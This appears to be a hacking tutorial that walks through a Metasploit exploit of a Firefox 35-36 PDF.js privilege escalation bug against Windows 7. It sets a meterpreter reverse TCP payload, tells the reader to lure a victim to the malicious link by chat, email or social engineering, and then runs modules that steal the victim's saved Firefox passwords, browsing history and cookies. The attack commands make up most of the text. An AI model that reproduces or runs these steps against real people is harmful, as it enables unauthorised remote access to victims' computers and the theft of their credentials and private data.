Hack Remote PC using Firefox PDF.js Privileged Javascript Injection

This module gains remote code execution on Firefox 35-36 by abusing a privilege escalation bug in resource:// URIs. PDF.js is used to exploit the bug. This exploit requires the user to click anywhere on the page to trigger the vulnerability.

Exploit Targets

Firefox 35-36

Windows 7

Requirement

Attacker: kali Linux

Victim PC: Windows 7

Open Kali terminal type msfconsole

Now type use exploit/multi/browser/firefox_pdfjs_privilege_escalation

msf exploit (firefox_pdfjs_privilege_escalation)>set payload windows/meterpreter/reverse_tcp

msf exploit (firefox_pdfjs_privilege_escalation)>set lhost 192.168.0.121 (IP of Local Host)

msf exploit (firefox_pdfjs_privilege_escalation)>set srvhost 192.168.0.121

msf exploit (firefox_pdfjs_privilege_escalation)>set uripath /

msf exploit (firefox_pdfjs_privilege_escalation)>exploit

Now an URL you should give to your victim http://192.168.0.121:8080

Send the link of the server to the victim via chat or email or any social engineering technique

Now when the victim opens the following link (http://192.168.0.121:8080).  It will show the page like given below .And when victim will manually click on the click here option.

Now a session will be opened as shown below.

If you want to gather the user passwords stored through Firefox Browser. Use the following commands.

Now type use post/firefox/gather/passwords

msf exploit (passwords)>set session 1

msf exploit (passwords)>exploit

After running the privileged JavaScript, it will show the path where passwords will be saved.

Now open the file and get the user names and passwords stored through Firefox browser.

To see the history of the Firefox, run the below given exploit.

Now type use post/firefox/gather/history

msf exploit (history)>set session 1

msf exploit (history)>exploit

After running this exploit, go to the path where history entries are stored. It will show us the URLs visited by the victim.

To gather information about the browser cookies, run the given below exploit .

Now type use post/firefox/gather/cookies

msf exploit (cookies)>set session 1

msf exploit (cookies)>exploit 

The above exploit will save all cookies in the specified folder. Open the folder and click on cookies file. It will show us the cookies information.

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